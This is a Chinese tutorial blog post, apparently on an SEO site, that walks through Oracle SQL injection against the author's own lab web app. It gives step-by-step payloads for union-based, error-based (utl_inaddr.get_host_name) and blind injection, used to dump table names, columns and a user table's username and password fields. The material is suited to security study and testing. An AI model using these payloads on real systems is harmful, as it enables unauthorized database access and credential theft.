本篇文章给大家带来了关于oracle注入的相关知识,其中包括注入的基本步骤以及报错等问题,希望对大家有帮助。

◆ 是一个虚拟的表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录。
◆ 该表的table_name列存放着当前数据库的所有表。
◆ 该表的column_name 存放着表的所有列。
• 如select * from xxx (有一个万能的表:dual表)。
• rownum 是伪序列数,总是从1开始。
• oracle数据库从数据文件或缓冲区中读取数据的顺序。
• 它取得第一条记录则rownum值为1,第二条为2,依次类推。
length(char) :返回字符串的长度。
COUNT(*) 函数,返回在给定的选择中被选的行数。
ascii(char) 表示将字符转换为ASCII码。
SUBSTR( 源字符串, 查找起始位置, [ 长度 ] )返回值为源字符串中指定起始位置和长度的字符串。
INSTR(源字符串, 要查找的字符串, 从第几个字符开始, 要找到第几个匹配的序号)返回找到的位置,如果找不到则返 回0. 默认查找顺序为从左到右。当起始位置为负数的时候,从右边开始查找。若起始位置为0,返回值为0。
还有一些函数在后续的文章用到时解释。
环境为VMware上的以win2003为系统 jsp+Oracle的简易网页。
这一步在我的实验环境中表现的很明显,但是在真实环境中,还是需要找到合适的注入点,基本的步骤就是找到与数据库交互的输入框,然后判断这个输入框的数据类型,以及它的数据的闭合方式,然后添加一些判断语句查看是否存在注入。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --
在手动添加了一条数据过后,通过构造不同的payload,我们发现url是存在注入漏洞的,我们输入的payload达到了它的效果。
Oracle数据库同样是通过order by 进行查询数据表的列数判断,order by必须是select -list表达式的列数,在真实环境中的一个表的列数可能数目较多,因此在列数判断中我们最好使用二分法。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --
在order by 3时页面正常,但是在order by 4 时页面出现错误,因此该查询表的列数为3
跟之前的学习的MySQL以及SQL server一样,Oracle同样通过union 来实现联合查询注入,并且不用跟SQL server联合查询注入一样添加all,仅只用union就行,但是依旧要跟SQL server联合查询注入一样判断后续各列的数据类型。
接下里我们首先查看回显位

http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --
因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用。
我们看到三个列全部会回显在页面上
下面我们还要通过更改null判断各个回显位的数据类型

http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --
判断出1号位的数据类型位字符型,接下来我们就可以通过构造不同的payload替换'1',来查询到我们想要的数据
select user from dual 获取用户名

http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --
select banner from sys.v_$version where rownum=1 获取版本

一览妙笔
自媒体、编剧、营销人员写作工具
50
查看详情
http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --
借助联合查询和默认表 user_tables获取当前数据库所有表名(第一行的)。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--
查看下一行表名
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--
没有其他的表,只有T_USER
如果可以显示多行数据,则可以通过以下代码查看到T-USER所有的列名,不能就只能通过跟上面类似的方法 用“”添加附加条件,去除已经查看到的数据然后查看下一行数据

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--
获取T_USER表中字段为SNAME、SUSER、SPWD,然后获得他们的值
因为之前判断过1,2,3号位都回显,且都为字符型,所以下面一次性查询,如果只有一个也可以一个一个的查询

10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--
获取数据
因为靶场比较简陋,所以实验过程只是体现自己的注入思路,并不代表T_USER表中的东西就是后台账号之内的敏感数据,真实环境中,你查询的数据可以是任何你能查询到数据。
当你发现你找到的注入点在输入错误数据会反弹数据库原始报错信息时,我们就可以使用报错注入。然后前面的步骤基本一致,都是先找注入点,然后分析闭合方式。
Oracle报错注入——类型转换错误和报错函数。
payload:1=utl_inaddr.get_host_name((SQL语句))
查询结果: ORA-29257: 未知的主机 结果
10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
T_USER即我们想要查询的表名,如果不止一个也可以通过上面联合查询注入中提到的方法,在sql语句中添加附加''条件遍历表名。
跟联合查询用到的相同的语句查到接下来的列名,数据
下面我们可以用到一个函数来改变之前遍历每个数据的麻烦:sys.stragg()在单行中获取所有行信息。

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--||是Oracle中的字符拼接符号,在以上payload使用的时候需要将其更改为%7C%7C,即它的url编码。
我们通过拼接其他符号以及sys,stragg()函数使我们能够清晰的分辨数据表中这个字段每一行的数据,在之前的联合查询注入同样可以使用到这个函数,省去遍历的麻烦
使用条件:HTTP返回包中没有执行结果的数据和报错信息。
当你发出你构造的payload时,页面并没有产生变化,即说明你的payload正确。
跟上面两种注入一样寻找注入点。
Oracle盲注核心——字符串截取函数、ascii转换函数、条件判断语句。
要注意的是在截断函数中长度是包含开始截取位置那一位的。
步骤跟之前的顺序是一致的 拿表名-列名-数据,这里就不一一列举了,主要说重点。
我们在拿一个数据时,比如说表名,我们需要先判断他的长度
10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--
我们可以先将=改为>或者
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--
然后就用截取函数 先截取表名的第一个字符,然后转译为ascii码,同样可以通过>或者
如果会使用burpsuit的话,可以通过burpsuit暴力破解,设置截取位置以及等于号后面的数字来跑出表名。
所有数据均可使用同样的方法获取
推荐教程:《Oracle教程》
以上就是手把手教你完全掌握Oracle注入的小细节的详细内容,更多请关注其它相关文章!
# 怎么看
# 阿里云网站建设创意案例
# 路明seo
# 荣成关键词seo
# 长沙行业网站建设费用
# 生物网站线下推广文案
# 职校网站优化方案设计
# 泉州网站优化电池苹果
# 网站怎么推广和维护
# 龙华网站建设加盟公司
# 怎么把网站推广更好
# oracle
# 布尔
# 我们可以
# 当你
# 手把手教你
# 值为
# 默认值
# 可以通过
# 遍历
# 报错
相关栏目:
【
Google疑问12 】
【
Facebook疑问10 】
【
优化推广96088 】
【
技术知识133117 】
【
IDC资讯59369 】
【
网络运营7196 】
【
IT资讯61894 】
相关推荐:
Chart.js 教程:自定义插件实现图表与图例间距调整
有道AI翻译入口 智能写作官方网站入口
Git命令与VS Code UI操作的对应关系解析
iPhone14无法连接蓝牙设备如何解决
优化 React onClick 事件处理:函数引用与箭头函数的对比
快手网页版官方访问 快手网页版页面在线打开
PHP与SQL实践:高效实现数据复制与特定列值修改
如何查询国外邮政编码_国外邮政编码查询的多种有效途径
蜻蜓FM如何设置移动流量播放
高效调试PHP大型嵌套数组:JSON序列化与可视化工具实践
第五人格PC版怎么避免被封号_第五人格PC版防封号注意事项
Composer reinstall命令重装损坏的包
网易云音乐闹钟铃声设置教程
睡觉时心跳快是什么原因 夜间心悸如何应对
b站如何管理订阅_b站订阅标签分类管理
拷贝漫画2025网页版入口 拷贝漫画官网免费看全集
餐馆菜篮选购指南
纯CSS实现自适应宽度与响应式布局的水平按钮组
firefox火狐浏览器最新官网主页_ firefox火狐浏览器平台入口直达官方链接
HTML Canvas文本样式定制指南:解决外部字体加载与应用难题
《爱南宁》认证电动车方法
漫蛙漫画直连入口 _ manwa官方备用入口实时检测
三角洲行动2025年9月10日摩斯密码分享
谷歌学术论文搜索引擎 谷歌学术官网入口论坛永久链接
J*aScript:从子元素中批量移除特定CSS类
Lar*el Dusk 测试中管理浏览器权限:以剪贴板访问为例
如何编写一个符合 composer 规范的 post-install-cmd 脚本?
mysql中如何分析索引使用情况_mysql索引使用分析方法
修复UI元素交互障碍:从“开始”按钮到信息框的平滑过渡实现
教资成绩怎么查询
飞飞漫画漫画阅读官网_飞飞漫画漫画阅读官网进入阅读
《画加》约稿流程
Excel怎么用XLOOKUP函数实现双向查找_ExcelXLOOKUP替代VLOOKUP+HLOOKUP的高级用法
电脑没有声音了怎么办 电脑声音问题的全面排查与修复指南【详解】
《知到》打卡课程方法
windows10怎么设置电源按钮_windows10按下电源键功能修改
发博客与长微博技巧
除了Copilot,还有哪些值得一试的VS Code AI插件?
《偃武》甘宁技能详解
c++类和对象到底是什么_c++面向对象编程基础
《虎扑》关闭社区内容推荐方法
Animex动漫社社登录官网 Animex动漫社资源社入口直达
mysql触发器如何编写_mysql触发器编写规范与代码示例讲解
SQLAlchemy 2.0 与 Pydantic 模型类型安全集成指南
《书耽》更换手机号方法
向日葵客户端怎么进行语音通话_向日葵客户端语音通话功能使用方法
知音漫客官网首页入口_知音漫客热门漫画推荐
如何配置VS Code作为您Git操作的默认编辑器
Excel如何快速找到并断开外部数据源链接_Excel外部数据源断开方法
《密马》发布账号方法
2022-01-21
运城市盐湖区信雨科技有限公司是一家深耕海外推广领域十年的专业服务商,作为谷歌推广与Facebook广告全球合作伙伴,聚焦外贸企业出海痛点,以数字化营销为核心,提供一站式海外营销解决方案。公司凭借十年行业沉淀与平台官方资源加持,打破传统外贸获客壁垒,助力企业高效开拓全球市场,成为中小企业出海的可靠合作伙伴。